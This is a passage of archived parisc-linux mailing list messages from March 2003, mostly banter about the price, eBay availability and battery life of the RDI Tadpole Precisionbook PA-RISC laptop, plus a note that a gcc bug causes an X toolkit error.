Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18113

> I tried to get hold of one from them.  They never called me back ;-(

I got a hold of them, and they wouldn't stop bothering me. The only
thing holding me back was the price. It's like $6K US for one of these
babies... refurbished at that :} That comes out to a few million
Canadian clams.
 
> > Does anybody know whether it could/should/may/will/does run Linux?
> 
> Obviously it _should_.  But since no-one's tried ...

... cause they cost an arm and a leg.

I'd love to hear that you boys in IE have cheaper prices on these
laptops :)

c.

--- Refubished Sales snippet ---
H18-14-XX-256/512- $6,200-6,500.00 USD
180 MHz HP Processor, 14" LCD, 6 GB HDD (one or two drives for total of 12 GB HDD).
These are what will ship with PBooks:
1. User Manual
2. Software Manual (HP-UX 11.0).
3. Carry Bag
4. 13W3 Video Adapter
5. Power Supply w/Cord
Usual 10 day lead time.
90 day warranty.                          
--------------------------------


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 21:29:27 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3E874597.5BA258BD@web.de>
References: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie> <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk> <20030330191327.GH14959@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622342 23836 80.91.229.3 (22 Nov 2014 02:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 12:29:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C1114829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 12:29:31 -0700 (MST)
Original-Received: from c-180-201-9.n.dial.de.ignite.net ([62.180.201.9] helo=web.de)
	by smtp.web.de with asmtp (SSLv3:RC4-MD5:128)
	(WEB.DE(Exim) 4.97 #53)
	id 18ziUE-00018d-00; Sun, 30 Mar 2003 21:28:58 +0200
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18114

Carlos O'Donell wrote:
> 
> > I tried to get hold of one from them.  They never called me back ;-(
> 
> I got a hold of them, and they wouldn't stop bothering me. The only
> thing holding me back was the price. It's like $6K US for one of these
> babies... refurbished at that :} That comes out to a few million
> Canadian clams.

Well, if you want to have one, have a look at 

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3408697535&category=177

Berthold


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 14:52:10 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20030330195210.GJ14959@systemhalted>
References: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie> <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk> <20030330191327.GH14959@systemhalted> <3E874597.5BA258BD@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622342 23838 80.91.229.3 (22 Nov 2014 02:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 12:51:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E56914829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 12:51:37 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18ziqg-0001NF-00; Sun, 30 Mar 2003 14:52:10 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"b.gunreben" <b.gunreben@web.de>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E874597.5BA258BD@web.de>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (66% Sync Ratio [=======...])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18115

> Well, if you want to have one, have a look at 
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3408697535&category=177

Holy smokes! If only I wasn't saving for graduate studies :(

c.


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 21:30:18 +0100 (IST)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303302124160.28823-100000@sal.ucc.ie>
References: <20030330191327.GH14959@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416622342 23841 80.91.229.3 (22 Nov 2014 02:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:22 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 13:30:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 103A44829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 13:30:25 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h2UKUKs25638;
	Sun, 30 Mar 2003 21:30:20 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030330191327.GH14959@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18116

On Sun, 30 Mar 2003, Carlos O'Donell wrote:

> Date: Sun, 30 Mar 2003 14:13:27 -0500
> From: Carlos O'Donell <carlos@baldric.uwo.ca>
> To: Matthew Wilcox <willy@debian.org>
> Cc: M. Grabert <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
>
> > I tried to get hold of one from them.  They never called me back ;-(
>
> I got a hold of them, and they wouldn't stop bothering me. The only
> thing holding me back was the price. It's like $6K US for one of these
> babies... refurbished at that :} That comes out to a few million
> Canadian clams.
>
> > > Does anybody know whether it could/should/may/will/does run Linux?
> >
> > Obviously it _should_.  But since no-one's tried ...
>
> ... cause they cost an arm and a leg.

Well, actually just you little toe ;)

http://search.ebay.com/search/search.dll?cgiurl=3Dhttp%3A%2F%2Fcgi.ebay.com=
%2Fws%2F&krd=3D1&from=3DR8&MfcISAPICommand=3DGetResult&ht=3D1&SortProperty=
=3DMetaEndSort&query=3Dprecisionbook

more specifically:

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3D3408697535&category=3D=
177

There are 8 (mhh, well, now just 7 ;-) Precisionbooks left!

> I'd love to hear that you boys in IE have cheaper prices on these
> laptops :)

No, we boys in IE just know how to use the 'search' function on Ebay  ;)))


Greetings from =C9ire,

Max



From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 21:31:34 +0100 (IST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303302130430.28823-100000@sal.ucc.ie>
References: <3E874597.5BA258BD@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622342 23847 80.91.229.3 (22 Nov 2014 02:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:22 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 13:31:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC91B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 13:31:38 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h2UKVas25658;
	Sun, 30 Mar 2003 21:31:36 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3E874597.5BA258BD@web.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18117

On Sun, 30 Mar 2003, b.gunreben wrote:

> Carlos O'Donell wrote:
> >
> > > I tried to get hold of one from them.  They never called me back ;-(
> >
> > I got a hold of them, and they wouldn't stop bothering me. The only
> > thing holding me back was the price. It's like $6K US for one of these
> > babies... refurbished at that :} That comes out to a few million
> > Canadian clams.
>
> Well, if you want to have one, have a look at
>
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3408697535&category=177

Obviously the guys in DE are not that dumb either ;)


lol, Max



From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. David Alan Gilbert" <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 21:38:20 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030330203820.GB4113@gallifrey>
References: <20030330191327.GH14959@systemhalted> <Pine.LNX.4.44.0303302124160.28823-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622343 23849 80.91.229.3 (22 Nov 2014 02:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 13:38:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 588894829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 13:38:22 -0700 (MST)
Original-Received: from dsl-212-23-14-246.zen.co.uk ([212.23.14.246] helo=gallifrey.home.treblig.org)
	by www.linux.org.uk with esmtp (Exim 4.14)
	id 18zjZN-0007ou-1K; Sun, 30 Mar 2003 21:38:21 +0100
Original-Received: from dg by gallifrey.home.treblig.org with local (Exim 3.36 #1 (Debian))
	id 18zjZM-0007bK-00; Sun, 30 Mar 2003 21:38:20 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0303302124160.28823-100000@sal.ucc.ie>
X-Chocolate: 70 percent or better cocoa solids preferably
X-Operating-System: Linux/2.5.66 (i686)
X-Uptime: 21:37:41 up 19:48,  1 user,  load average: 0.04, 0.05, 0.01
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18118

* M. Grabert (xam@cs.ucc.ie) wrote:
> 
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3408697535&category=177

Sheesh how many milliseconds do the batteries last on these things?

Dave
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert    | Running GNU/Linux on Alpha,68K| Happy  \ 
\ gro.gilbert @ treblig.org | MIPS,x86,ARM,SPARC,PPC & HPPA | In Hex /
 \ _________________________|_____ http://www.treblig.org   |_______/


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 21:39:21 +0100 (IST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303302139040.28823-100000@sal.ucc.ie>
References: <20030330203820.GB4113@gallifrey>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622343 23854 80.91.229.3 (22 Nov 2014 02:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Dr. David Alan Gilbert" <gilbertd@treblig.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 13:39:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E2F24829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 13:39:54 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h2UKdNs25768;
	Sun, 30 Mar 2003 21:39:23 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030330203820.GB4113@gallifrey>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18119

On Sun, 30 Mar 2003, Dr. David Alan Gilbert wrote:

> * M. Grabert (xam@cs.ucc.ie) wrote:
> >
> > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3408697535&category=177
>
> Sheesh how many milliseconds do the batteries last on these things?

1-2 hours ;)







From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "Unresolved inheritance operation" with gv, xdvi and xkeycaps
Date: 30 Mar 2003 14:05:28 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <1049058328.29715.12.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622343 23855 80.91.229.3 (22 Nov 2014 02:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 14:05:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0BC04829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 14:05:29 -0700 (MST)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 9C8122B10C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 14:05:28 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18120

Hello,

I worked on tracking down the cause of this error message over the last
couple of days, and found it was the function descriptor bug in gcc that
jda already fixed in gcc-3.3.  So if you are experience this
error message, the libXt.so needs to be recompiled with a newer compiler
and the error should go away. (Note: I only had to recompile the
libXt.so, recompiling xkeycaps was not required).

Thanks,

- Ryan

P.S. thanks to tausq again for all the help in debugging these problems.


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 14:32:28 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20030330213228.GA14983@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie> <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622344 23861 80.91.229.3 (22 Nov 2014 02:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:24 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 14:32:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E45424829; Sun, 30 Mar 2003 14:32:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18121

On Sun, Mar 30, 2003 at 04:20:36PM +0100, Matthew Wilcox wrote:
> > 1MB flash memory
> 
> Don't know how this is hooked up.  Might work, give it a try.

That's NVRAM. I don't know if we've documented the layout.
My gut feeing is only PDC should be touching NVRAM right now.

grant


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 14:50:06 -0800 (PST)
Lines: 74
Approved: news@gmane.org
Message-ID: <200303302250.h2UMo6e30482@opus.allegro.com>
References: <20030330191327.GH14959@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622344 23876 80.91.229.3 (22 Nov 2014 02:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:24 +0000 (UTC)
Cc: willy@debian.org (Matthew Wilcox), xam@cs.ucc.ie (M. Grabert),
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 15:50:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 786584829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 15:50:11 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h2UMo6e30482;
	Sun, 30 Mar 2003 14:50:06 -0800
In-Reply-To: <20030330191327.GH14959@systemhalted> from "Carlos O'Donell" at Mar 30, 2003 02:13:27 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
